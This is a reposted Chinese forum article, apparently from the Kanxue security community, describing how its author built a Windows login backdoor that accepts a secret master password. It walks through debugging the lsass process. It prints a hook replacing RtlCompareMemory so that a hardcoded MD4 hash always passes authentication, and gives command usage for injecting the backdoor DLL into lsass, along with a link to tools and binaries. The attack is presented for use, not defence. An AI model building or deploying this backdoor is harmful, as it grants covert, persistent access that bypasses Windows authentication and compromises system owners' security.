來源:看雪學院
作者:clyfish
windows有通用密碼嗎?
去問比爾大叔吧。
先不管是不是真的有,我們可以自己實現一個這樣的後門。
先簡單介紹一下windows登陸過程中的一些過程。
winlogon進程用gina.dll擷取使用者名稱和密碼,通過LPC傳給lsass進程。
然後lsass進程調用預設認證包msv1_0.dll來驗證密碼的對錯。
而msv1_0則從SAM中獲得使用者的資訊,包括密碼的雜湊。
要實現這樣一個後門,首先要找到登陸驗證這一系列函數的最底層的一個,然後在那裡做手腳。
很明顯,這個最底層的函數在lsass進程的msv1_0.dll模組中。
lsass調用msv1_0.dll的是這個函數:
代碼:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN
那我們就應該調試lsass進程然後在msv1_0!LsaApLogonUserEx2下斷點。
這裡我使用windbg和vmware並利用dbgsrv進行遠端使用者態調試。
http://blogs.msdn.com/spatdsg/archive/2005/12/27/507265.aspx
上面Spat在blog中介紹了如何用dbgsrv調試(Debugging LSA via dbgsrv.exe)。
在虛擬機器(被調試端)運行
代碼:
dbgsrv.exe -t tcp:port=1234,password=spat
然後在調試端運行
代碼:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
然後選擇附加lsass進程。
但這裡我們不能登陸之後再運行dbgsrv,那樣dbgsrv就被關掉了,所以我利用windows的任務計劃讓dbgsrv開機就運行起來。
虛擬機器啟動後,dbgsrv也起來了,然後用windbg連上並附上lsass進程。
在下了斷點msv1_0!LsaApLogonUserEx2後,讓lsass繼續運行。
然後登陸,果然windbg斷下來了。
這個時候給大家介紹windbg的一個強勁的命令,那就是wt,它能所有的記錄函數調用關係,一直記錄到ret,具體用法請看windbg協助。
我猜wt是單步運行,所以很慢。
但是wt輸出的文本很多,太難看了,於是我寫了個python指令碼把wt的輸出轉成一個TreeCtrl,附圖:
大家注意看我滑鼠點上的那個函數:ntdll!RtlCompareMemory。
經過調試我發現這個函數就是我要找的那個“最底層的函數”。
代碼:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN
並且我還發現了驗證密碼時這個函數3個參數的細節,
Source1是從SAM中取出的使用者密碼的Unicode形式的md4雜湊,
Source2是使用者輸入的密碼的Unicode形式的md4雜湊,
Length總是16,因為md4的雜湊就是16位。
很容易我寫出了下面這個替代的函數:
代碼:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}
其中pRtlCompareMemory是全域變數,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密碼的雜湊。
使用MyRtlCompareMemory來hook掉RtlCompareMemory,就可以實現預定的功能了。
如果要比較的是16位的,並且第二段記憶體與我們的雜湊一樣那就直接允許存取,不管第一段記憶體是什麼。
也許有朋友會問,你這是hook了msv1_0模組內所有調用RtlCompareMemory的地方,不會出錯嗎?
放心吧,哪有那麼巧,要比較的是16位的而且第二段記憶體又和我們的雜湊一模一樣?
要hook這個函數有很多方法,
我選擇了最懶的一種,IAT hook+dll注入。
於是我寫了一個小工具來注入dll:DllInject
代碼:
C:\Documents and Settings\cly\案頭\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all
passdoor.dll是要注入到lsass進程的dll,這個dll在DllMain中實現了IAT hook,很土的技術了,就不貼代碼了,網上一搜一籮筐。
然後我又寫了一個小工具:pdconfig
其實就是改passdoor.dll中的雜湊,以免要換密碼是又要重新編譯passdoor.dll。
使用方法:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
卸載方法:
代碼:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
http://clyfish.googlepages.com/passdoor.rar
這裡是本文中相關工具的源碼以及編譯好的二進位檔案。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代碼均使用MingW gcc4.2.1編譯。
鬱悶,不能傳附件。
從牛人的BLOG看到真正的技術!!!強烈的執行了轉載...佩服ing!!!